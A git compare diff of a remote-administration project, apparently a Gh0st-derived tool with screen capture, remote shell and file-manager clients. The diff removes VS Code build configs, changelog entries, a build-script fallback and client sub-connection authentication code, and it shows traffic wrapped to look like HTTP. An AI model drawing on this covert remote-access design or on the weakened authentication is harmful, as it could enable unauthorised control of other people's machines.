Compare commits
2 Commits
v1.3.3
...
a3fa2f5a81
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a3fa2f5a81 | ||
|
|
df91de78f3 |
11
.gitignore
vendored
11
.gitignore
vendored
@@ -74,14 +74,3 @@ test/build/
|
||||
docs/MultiLayerLicense_Design.md
|
||||
docs/MultiLayerLicense_Implementation.md
|
||||
docs/_CodeReference.md
|
||||
linux/CMakeFiles/*
|
||||
Releases/*
|
||||
*.log
|
||||
*.txt
|
||||
linux/Makefile
|
||||
linux/cmake_install.cmake
|
||||
.vs
|
||||
docs/macOS_Support_Design.md
|
||||
settings.local.json
|
||||
*.zip
|
||||
*.lic
|
||||
|
||||
43
.vscode/build.ps1
vendored
43
.vscode/build.ps1
vendored
@@ -1,43 +0,0 @@
|
||||
param(
|
||||
[Parameter(Mandatory = $true)]
|
||||
[string]$Target,
|
||||
|
||||
[ValidateSet("Debug", "Release")]
|
||||
[string]$Configuration = "Debug",
|
||||
|
||||
[ValidateSet("x64", "x86", "Win32")]
|
||||
[string]$Platform = "x64"
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$vswhere = Join-Path ${env:ProgramFiles(x86)} "Microsoft Visual Studio\Installer\vswhere.exe"
|
||||
if (-not (Test-Path $vswhere)) {
|
||||
Write-Host "ERROR: vswhere.exe not found at $vswhere" -ForegroundColor Red
|
||||
Write-Host "Install Visual Studio Installer (comes with VS 2017+)." -ForegroundColor Yellow
|
||||
exit 1
|
||||
}
|
||||
|
||||
$msbuild = & $vswhere -latest -prerelease -products * `
|
||||
-requires Microsoft.Component.MSBuild `
|
||||
-find 'MSBuild\**\Bin\MSBuild.exe' | Select-Object -First 1
|
||||
|
||||
if (-not $msbuild) {
|
||||
Write-Host "ERROR: MSBuild not found via vswhere" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
$sln = Join-Path $PSScriptRoot "..\YAMA.sln" | Resolve-Path
|
||||
|
||||
Write-Host "MSBuild : $msbuild" -ForegroundColor Cyan
|
||||
Write-Host "Solution: $sln" -ForegroundColor Cyan
|
||||
Write-Host "Target : $Target | $Configuration | $Platform" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
& $msbuild $sln.Path `
|
||||
"/t:$Target" `
|
||||
"/p:Configuration=$Configuration" `
|
||||
"/p:Platform=$Platform" `
|
||||
/m /v:minimal /nologo
|
||||
|
||||
exit $LASTEXITCODE
|
||||
61
.vscode/c_cpp_properties.json
vendored
61
.vscode/c_cpp_properties.json
vendored
@@ -1,61 +0,0 @@
|
||||
{
|
||||
"version": 4,
|
||||
"configurations": [
|
||||
{
|
||||
"name": "Win32",
|
||||
"intelliSenseMode": "windows-msvc-x64",
|
||||
"compilerPath": "cl.exe",
|
||||
"cStandard": "c11",
|
||||
"cppStandard": "c++17",
|
||||
"windowsSdkVersion": "10.0.19041.0",
|
||||
"includePath": [
|
||||
"${workspaceFolder}",
|
||||
"${workspaceFolder}/client",
|
||||
"${workspaceFolder}/common",
|
||||
"${workspaceFolder}/compress",
|
||||
"${workspaceFolder}/compress/ffmpeg",
|
||||
"${workspaceFolder}/server/2015Remote",
|
||||
"${workspaceFolder}/server/2015Remote/proxy",
|
||||
"${workspaceFolder}/client/d3d",
|
||||
"${env:VLDPATH}/include"
|
||||
],
|
||||
"defines": [
|
||||
"_WIN32",
|
||||
"_WINDOWS",
|
||||
"_DEBUG",
|
||||
"_MBCS",
|
||||
"ZLIB_WINAPI",
|
||||
"_CRT_SECURE_NO_WARNINGS",
|
||||
"_AFXDLL",
|
||||
"_USRDLL"
|
||||
],
|
||||
"browse": {
|
||||
"path": [
|
||||
"${workspaceFolder}/client",
|
||||
"${workspaceFolder}/common",
|
||||
"${workspaceFolder}/compress",
|
||||
"${workspaceFolder}/server"
|
||||
],
|
||||
"limitSymbolsToIncludedHeaders": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "Linux (WSL)",
|
||||
"intelliSenseMode": "linux-gcc-x64",
|
||||
"compilerPath": "/usr/bin/g++",
|
||||
"cStandard": "c11",
|
||||
"cppStandard": "c++11",
|
||||
"includePath": [
|
||||
"${workspaceFolder}",
|
||||
"${workspaceFolder}/client",
|
||||
"${workspaceFolder}/common",
|
||||
"${workspaceFolder}/compress",
|
||||
"${workspaceFolder}/linux",
|
||||
"${workspaceFolder}/linux/mterm"
|
||||
],
|
||||
"defines": [
|
||||
"__linux__"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
8
.vscode/extensions.json
vendored
8
.vscode/extensions.json
vendored
@@ -1,8 +0,0 @@
|
||||
{
|
||||
"recommendations": [
|
||||
"ms-vscode.cpptools",
|
||||
"ms-vscode-remote.remote-wsl",
|
||||
"ms-vscode.powershell",
|
||||
"twxs.cmake"
|
||||
]
|
||||
}
|
||||
86
.vscode/launch.json
vendored
86
.vscode/launch.json
vendored
@@ -1,86 +0,0 @@
|
||||
{
|
||||
"version": "0.2.0",
|
||||
"configurations": [
|
||||
{
|
||||
"name": "Yama (Debug x64)",
|
||||
"type": "cppvsdbg",
|
||||
"request": "launch",
|
||||
"program": "${workspaceFolder}/Bin/Yama_x64d.exe",
|
||||
"args": [
|
||||
"-agent"
|
||||
],
|
||||
"stopAtEntry": false,
|
||||
"cwd": "${workspaceFolder}/Bin",
|
||||
"environment": [],
|
||||
"preLaunchTask": "Build Yama (Debug x64)",
|
||||
"symbolSearchPath": "${workspaceFolder}/Bin;${workspaceFolder}/x64/Debug",
|
||||
"sourceFileMap": {
|
||||
"${workspaceFolder}": "${workspaceFolder}"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "Yama (Attach)",
|
||||
"type": "cppvsdbg",
|
||||
"request": "attach",
|
||||
"processId": "${command:pickProcess}"
|
||||
},
|
||||
{
|
||||
"name": "ghost (Debug x64)",
|
||||
"type": "cppvsdbg",
|
||||
"request": "launch",
|
||||
"program": "${workspaceFolder}/x64/Debug/ghost.exe",
|
||||
"args": [],
|
||||
"stopAtEntry": false,
|
||||
"cwd": "${workspaceFolder}/x64/Debug",
|
||||
"environment": [],
|
||||
"console": "externalTerminal",
|
||||
"preLaunchTask": "Build ghost (Debug x64)"
|
||||
},
|
||||
{
|
||||
"name": "TestRun (Debug x64)",
|
||||
"type": "cppvsdbg",
|
||||
"request": "launch",
|
||||
"program": "${workspaceFolder}/x64/Debug/TestRun.exe",
|
||||
"args": [],
|
||||
"stopAtEntry": false,
|
||||
"cwd": "${workspaceFolder}/x64/Debug",
|
||||
"environment": [],
|
||||
"console": "externalTerminal",
|
||||
"preLaunchTask": "Build TestRun (Debug x64)"
|
||||
},
|
||||
{
|
||||
"name": "ghost (Linux WSL)",
|
||||
"type": "cppdbg",
|
||||
"request": "launch",
|
||||
"program": "/mnt/c/github/YAMA/linux/ghost",
|
||||
"args": [],
|
||||
"stopAtEntry": false,
|
||||
"cwd": "/mnt/c/github/YAMA/linux",
|
||||
"environment": [],
|
||||
"externalConsole": false,
|
||||
"MIMode": "gdb",
|
||||
"miDebuggerPath": "/usr/bin/gdb",
|
||||
"pipeTransport": {
|
||||
"pipeCwd": "${workspaceFolder}",
|
||||
"pipeProgram": "C:\\Windows\\System32\\wsl.exe",
|
||||
"pipeArgs": [
|
||||
"-e",
|
||||
"bash",
|
||||
"-c"
|
||||
],
|
||||
"debuggerPath": "/usr/bin/gdb"
|
||||
},
|
||||
"sourceFileMap": {
|
||||
"/mnt/c/github/YAMA": "${workspaceFolder}"
|
||||
},
|
||||
"setupCommands": [
|
||||
{
|
||||
"description": "Enable pretty-printing for gdb",
|
||||
"text": "-enable-pretty-printing",
|
||||
"ignoreFailures": true
|
||||
}
|
||||
],
|
||||
"preLaunchTask": "Build ghost (Linux WSL)"
|
||||
}
|
||||
]
|
||||
}
|
||||
109
.vscode/tasks.json
vendored
109
.vscode/tasks.json
vendored
@@ -1,109 +0,0 @@
|
||||
{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{
|
||||
"label": "Build Yama (Debug x64)",
|
||||
"type": "shell",
|
||||
"command": "powershell",
|
||||
"args": [
|
||||
"-NoProfile",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-File",
|
||||
"${workspaceFolder}\\.vscode\\build.ps1",
|
||||
"-Target",
|
||||
"Yama",
|
||||
"-Configuration",
|
||||
"Debug",
|
||||
"-Platform",
|
||||
"x64"
|
||||
],
|
||||
"problemMatcher": [
|
||||
"$msCompile"
|
||||
],
|
||||
"group": "build",
|
||||
"presentation": {
|
||||
"reveal": "silent",
|
||||
"panel": "dedicated",
|
||||
"clear": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"label": "Build ghost (Debug x64)",
|
||||
"type": "shell",
|
||||
"command": "powershell",
|
||||
"args": [
|
||||
"-NoProfile",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-File",
|
||||
"${workspaceFolder}\\.vscode\\build.ps1",
|
||||
"-Target",
|
||||
"ghost",
|
||||
"-Configuration",
|
||||
"Debug",
|
||||
"-Platform",
|
||||
"x64"
|
||||
],
|
||||
"problemMatcher": [
|
||||
"$msCompile"
|
||||
],
|
||||
"group": "build",
|
||||
"presentation": {
|
||||
"reveal": "silent",
|
||||
"panel": "dedicated",
|
||||
"clear": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"label": "Build TestRun (Debug x64)",
|
||||
"type": "shell",
|
||||
"command": "powershell",
|
||||
"args": [
|
||||
"-NoProfile",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-File",
|
||||
"${workspaceFolder}\\.vscode\\build.ps1",
|
||||
"-Target",
|
||||
"TestRun",
|
||||
"-Configuration",
|
||||
"Debug",
|
||||
"-Platform",
|
||||
"x64"
|
||||
],
|
||||
"problemMatcher": [
|
||||
"$msCompile"
|
||||
],
|
||||
"group": "build",
|
||||
"presentation": {
|
||||
"reveal": "silent",
|
||||
"panel": "dedicated",
|
||||
"clear": true
|
||||
}
|
||||
},
|
||||
{
|
||||
"label": "Build ghost (Linux WSL)",
|
||||
"type": "process",
|
||||
"command": "wsl",
|
||||
"args": [
|
||||
"-e",
|
||||
"bash",
|
||||
"-c",
|
||||
"cmake -DCMAKE_BUILD_TYPE=Debug . && make -j$(nproc)"
|
||||
],
|
||||
"options": {
|
||||
"cwd": "${workspaceFolder}\\linux"
|
||||
},
|
||||
"problemMatcher": [
|
||||
"$gcc"
|
||||
],
|
||||
"group": "build",
|
||||
"presentation": {
|
||||
"reveal": "always",
|
||||
"panel": "dedicated",
|
||||
"clear": true
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
34
ReadMe.md
34
ReadMe.md
@@ -525,40 +525,6 @@ cd macos
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.3.3 (2026.5.10)
|
||||
|
||||
**Linux/macOS 客户端深化 & 双层认证安全 & 跨平台共享代码重构**
|
||||
|
||||
**新功能:**
|
||||
- **服务端身份校验(Layer 1)**:Linux/macOS 客户端 HMAC-SHA256 校验服务端身份,未授权服务端无法触发任何子连接
|
||||
- **子连接认证(Layer 2,TOKEN_CONN_AUTH)**:所有子连接首包签名 + clientID 钉死,解决 NAT/127.0.0.1 路由错位
|
||||
- **Linux 客户端**:H.264 硬件编码(动态加载 libx264)、XFixes 光标类型检测、UTF-8 协议能力位
|
||||
- **macOS 客户端**:文件管理器、远程终端(共享 PTYHandler)、剪贴板同步、守护进程模式 (-d)、电源管理、屏幕锁定/空闲检测、CGDisplayStream 推送模式优化
|
||||
- **主控**:屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤、嵌入式现代终端、自适应屏幕算法、外部资源覆盖、分组持久化、Build Dialog 支持生成 macOS 客户端
|
||||
|
||||
**重构:**
|
||||
- Linux/macOS 客户端共享代码抽到 `common/`(rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread),减少 ~300 行重复
|
||||
|
||||
**改进:**
|
||||
- 现代终端 SYSTEM 兼容:自动回退到经典终端,信息列表给出精确原因
|
||||
- `build.ps1` 增加 `vswhere` 兜底(VS 装非默认盘也能找到)
|
||||
- 强制 `/source-charset:utf-8 /execution-charset:.936` 解决英语 Windows 编译中文乱码
|
||||
- macOS `install.sh` 源 binary 优先级优化(命令行 → 同目录 → build/bin),适配分发场景
|
||||
|
||||
**Bug 修复:**
|
||||
- V2 文件传输在文件管理器对话框双向均损坏(上传 IP 路由错乱 + 下载 chunk 未分发)
|
||||
- 现代终端在 SYSTEM 权限下空白(WebView2 不支持 LocalSystem)
|
||||
- Linux 客户端 UTF-8 路径/活动窗口在服务端乱码
|
||||
- 日志列表表头点击错排序到主机列表
|
||||
- LVM_SETUNICODEFORMAT 后表头排序失效(补充 HDN_ITEMCLICKW 映射)
|
||||
- 服务+代理 Release 模式托盘图标不显示
|
||||
- macOS/Linux 客户端分组变更后未重发 LOGIN_INFOR
|
||||
- 文件对话框 map 野指针崩溃
|
||||
- 重连时未清回调导致访问已销毁 handler 崩溃
|
||||
- MFC 与 Web 远程桌面会话未完全独立
|
||||
- macOS 锁屏状态远程桌面启动时未唤醒显示器
|
||||
- MFC 远程桌面触控板双指滚动失效
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS 客户端 & Web 远程桌面增强**
|
||||
|
||||
34
ReadMe_EN.md
34
ReadMe_EN.md
@@ -510,40 +510,6 @@ cd macos
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.3.3 (2026.5.10)
|
||||
|
||||
**Linux/macOS Client Maturation & Two-Layer Auth & Cross-Platform Code Refactor**
|
||||
|
||||
**New Features:**
|
||||
- **Server Identity Verification (Layer 1)**: Linux/macOS clients verify server via HMAC-SHA256; unauthorized server cannot trigger any sub-connection
|
||||
- **Sub-Connection Auth (Layer 2, TOKEN_CONN_AUTH)**: All sub-connections sign first packet + clientID pinned, eliminates NAT/127.0.0.1 routing mismatches
|
||||
- **Linux Client**: H.264 hardware encoding (dynamic libx264 loading), XFixes cursor type detection, UTF-8 protocol capability bit
|
||||
- **macOS Client**: File manager, remote terminal (shared PTYHandler), clipboard sync, daemon mode (-d), power management, screen lock/idle detection, CGDisplayStream push-mode optimization
|
||||
- **Master**: Screen preview thumbnail, region screenshot, remote desktop zoom, Web user group filtering, embedded modern terminal, adaptive screen algorithm, external resource override, group name persistence, Build Dialog support for generating macOS client
|
||||
|
||||
**Refactor:**
|
||||
- Linux/macOS client shared code extracted to `common/` (rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread), ~300 lines duplication removed
|
||||
|
||||
**Improvements:**
|
||||
- Modern Terminal SYSTEM compatibility: auto fallback to classic terminal with precise reason in info list
|
||||
- `build.ps1` adds `vswhere` fallback (finds VS installed on non-default drives)
|
||||
- Force `/source-charset:utf-8 /execution-charset:.936` to fix Chinese garbling when compiling on English Windows
|
||||
- macOS `install.sh` source binary priority optimized (command-line → script dir → build/bin), better suits distribution scenarios
|
||||
|
||||
**Bug Fixes:**
|
||||
- V2 file transfer broken in both directions in FileManager dialog (upload IP routing errors + download chunks not dispatched)
|
||||
- Modern Terminal blank under SYSTEM (WebView2 does not support LocalSystem)
|
||||
- Linux client UTF-8 path/active-window garbled on server
|
||||
- Log list header click incorrectly sorted host list
|
||||
- Header sort broken after LVM_SETUNICODEFORMAT (HDN_ITEMCLICKW mapping added)
|
||||
- Tray icon not showing in Release service+agent mode
|
||||
- macOS/Linux clients did not resend LOGIN_INFOR after group change
|
||||
- File dialog map dangling pointer crashes
|
||||
- Reconnect crash from not clearing callback before destruction
|
||||
- MFC and Web remote desktop sessions not fully independent
|
||||
- macOS locked screen: display not woken on remote desktop start
|
||||
- MFC remote desktop touchpad two-finger scroll not working
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS Client & Web Remote Desktop Enhancement**
|
||||
|
||||
34
ReadMe_TW.md
34
ReadMe_TW.md
@@ -509,40 +509,6 @@ cd macos
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.3.3 (2026.5.10)
|
||||
|
||||
**Linux/macOS 用戶端深化 & 雙層認證安全 & 跨平台共享程式碼重構**
|
||||
|
||||
**新功能:**
|
||||
- **服務端身分校驗(Layer 1)**:Linux/macOS 用戶端 HMAC-SHA256 校驗服務端身分,未授權服務端無法觸發任何子連線
|
||||
- **子連線認證(Layer 2,TOKEN_CONN_AUTH)**:所有子連線首包簽章 + clientID 鎖定,解決 NAT/127.0.0.1 路由錯位
|
||||
- **Linux 用戶端**:H.264 硬體編碼(動態載入 libx264)、XFixes 游標類型偵測、UTF-8 協議能力位
|
||||
- **macOS 用戶端**:檔案管理員、遠端終端機(共享 PTYHandler)、剪貼簿同步、守護程序模式 (-d)、電源管理、螢幕鎖定/閒置偵測、CGDisplayStream 推送模式最佳化
|
||||
- **主控**:螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者依群組過濾、嵌入式現代終端、自適應螢幕演算法、外部資源覆蓋、群組持久化、Build Dialog 支援產生 macOS 用戶端
|
||||
|
||||
**重構:**
|
||||
- Linux/macOS 用戶端共享程式碼抽到 `common/`(rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread),減少約 300 行重複
|
||||
|
||||
**改進:**
|
||||
- 現代終端 SYSTEM 相容:自動回退到經典終端,資訊列表給出精確原因
|
||||
- `build.ps1` 新增 `vswhere` 兜底(VS 裝在非預設磁碟也能找到)
|
||||
- 強制 `/source-charset:utf-8 /execution-charset:.936` 解決英語 Windows 編譯中文亂碼
|
||||
- macOS `install.sh` 來源 binary 優先順序最佳化(命令列 → 同目錄 → build/bin),適配分發場景
|
||||
|
||||
**Bug 修復:**
|
||||
- V2 檔案傳輸在檔案管理器對話方塊雙向均損壞(上傳 IP 路由錯亂 + 下載 chunk 未分發)
|
||||
- 現代終端在 SYSTEM 權限下空白(WebView2 不支援 LocalSystem)
|
||||
- Linux 用戶端 UTF-8 路徑/作用視窗在服務端亂碼
|
||||
- 日誌列表表頭點擊錯誤排序到主機列表
|
||||
- LVM_SETUNICODEFORMAT 後表頭排序失效(補充 HDN_ITEMCLICKW 對應)
|
||||
- 服務+代理 Release 模式系統匣圖示不顯示
|
||||
- macOS/Linux 用戶端群組變更後未重發 LOGIN_INFOR
|
||||
- 檔案對話方塊 map 中野指標導致崩潰
|
||||
- 重連時未清回呼導致存取已銷毀 handler 崩潰
|
||||
- MFC 與 Web 遠端桌面工作階段未完全獨立
|
||||
- macOS 鎖屏狀態遠端桌面啟動時未喚醒顯示器
|
||||
- MFC 遠端桌面觸控板雙指捲動失效
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS 用戶端 & Web 遠端桌面增強**
|
||||
|
||||
12
build.ps1
12
build.ps1
@@ -43,18 +43,6 @@ foreach ($pattern in $msBuildPaths) {
|
||||
}
|
||||
}
|
||||
|
||||
# 兜底:默认路径找不到(例如 VS 装在 D 盘)时,用 vswhere 反查。
|
||||
# vswhere.exe 由 VS Installer 维护,固定在 %ProgramFiles(x86)% 下,与 VS 本体盘符无关。
|
||||
if (-not $msBuild) {
|
||||
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||
if (Test-Path $vswhere) {
|
||||
$found = & $vswhere -latest -products * -requires Microsoft.Component.MSBuild `
|
||||
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null |
|
||||
Select-Object -First 1
|
||||
if ($found) { $msBuild = $found }
|
||||
}
|
||||
}
|
||||
|
||||
if (-not $msBuild) {
|
||||
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
|
||||
Write-Host ""
|
||||
|
||||
@@ -199,7 +199,6 @@
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
@@ -242,7 +241,6 @@
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
|
||||
@@ -27,7 +27,6 @@
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
@@ -71,7 +70,6 @@
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
|
||||
@@ -11,8 +11,6 @@
|
||||
|
||||
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
|
||||
|
||||
#define ALGORITHM_NULL "-1"
|
||||
#define ALGORITHM_NUL -1
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_DEFAULT 1
|
||||
|
||||
@@ -1163,7 +1163,6 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
||||
|
||||
// 创建新连接发送文件
|
||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
|
||||
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
|
||||
FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
|
||||
|
||||
@@ -100,77 +100,6 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O
|
||||
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
||||
}
|
||||
|
||||
// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
|
||||
// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款),
|
||||
// 空 publicKey/privateKey 走内置 HMAC。
|
||||
extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
|
||||
bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
|
||||
{
|
||||
ConnAuthPacket pkt = {};
|
||||
pkt.token = TOKEN_CONN_AUTH;
|
||||
pkt.clientID = clientID;
|
||||
pkt.timestamp = (uint64_t)time(NULL);
|
||||
// 16 字节 nonce:用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳)
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
|
||||
}
|
||||
|
||||
BYTE sigInput[8 + 8 + 16];
|
||||
memcpy(sigInput, &pkt.clientID, 8);
|
||||
memcpy(sigInput + 8, &pkt.timestamp, 8);
|
||||
memcpy(sigInput + 16, pkt.nonce, 16);
|
||||
auto sig = signMessage("", sigInput, sizeof(sigInput));
|
||||
size_t sigLen = sig.size() < 64 ? sig.size() : 64;
|
||||
memcpy(pkt.signature, sig.data(), sigLen);
|
||||
|
||||
// 设置等待状态
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||
m_authStatus = -1;
|
||||
m_authPending = true;
|
||||
}
|
||||
|
||||
// 发包;用 HttpMask 包装与其它子连接首包风格一致
|
||||
HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
|
||||
int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
|
||||
if (sent <= 0) {
|
||||
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||
m_authPending = false;
|
||||
Mprintf("[ConnAuth] 发送失败\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 等响应或超时
|
||||
std::unique_lock<std::mutex> lk(m_authMtx);
|
||||
bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
|
||||
[this]{ return !m_authPending; });
|
||||
int status = m_authStatus;
|
||||
m_authPending = false;
|
||||
if (!got) {
|
||||
Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs);
|
||||
return false;
|
||||
}
|
||||
bool ok = (status == CONN_AUTH_OK);
|
||||
Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
|
||||
{
|
||||
if (!buf || len < sizeof(ConnAuthAck)) return false;
|
||||
if (buf[0] != TOKEN_CONN_AUTH) return false;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
|
||||
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
|
||||
m_authStatus = ack->status;
|
||||
m_authPending = false;
|
||||
}
|
||||
m_authCv.notify_all();
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
||||
const std::string& pubIP, void* main) : g_bExit(bExit)
|
||||
@@ -190,8 +119,6 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
}
|
||||
|
||||
m_main = main;
|
||||
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
|
||||
// m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。
|
||||
int encoder = conn ? conn->GetHeaderEncType() : 0;
|
||||
m_sLocPublicIP = pubIP;
|
||||
m_ServerAddr = {};
|
||||
@@ -453,27 +380,6 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
#endif
|
||||
}
|
||||
|
||||
// 子连接身份校验(opt-in 通过 EnableSubConnAuth 开启):
|
||||
// - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
|
||||
// - clientID 优先用 EnableSubConnAuth 显式传入的值(Linux/macOS 客户端走此路径),
|
||||
// 未显式传入时从 m_conn 现取(Windows 客户端走此路径)。
|
||||
// - 校验失败:Disconnect 并返回 FALSE,让上层走重连或放弃逻辑。
|
||||
if (m_subConnAuthEnabled) {
|
||||
uint64_t cid = m_subConnAuthClientID;
|
||||
if (cid == 0 && m_conn) cid = m_conn->clientID;
|
||||
if (cid == 0) {
|
||||
Mprintf("[ConnAuth] 跳过校验:clientID 尚未就绪(主连接还没拿到 ID)\n");
|
||||
// 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。
|
||||
Disconnect();
|
||||
return FALSE;
|
||||
}
|
||||
if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
|
||||
Mprintf("[ConnAuth] 校验失败,断开连接\n");
|
||||
Disconnect();
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -643,16 +549,11 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
|
||||
// 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token,
|
||||
// 走 default 路径忽略,无副作用)。
|
||||
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
}
|
||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
}
|
||||
} else {
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
||||
|
||||
@@ -32,8 +32,6 @@
|
||||
#endif
|
||||
#include "IOCPBase.h"
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include <chrono>
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
||||
@@ -261,31 +259,6 @@ public:
|
||||
m_LoginMsg = msg;
|
||||
m_LoginSignature = hmac;
|
||||
}
|
||||
|
||||
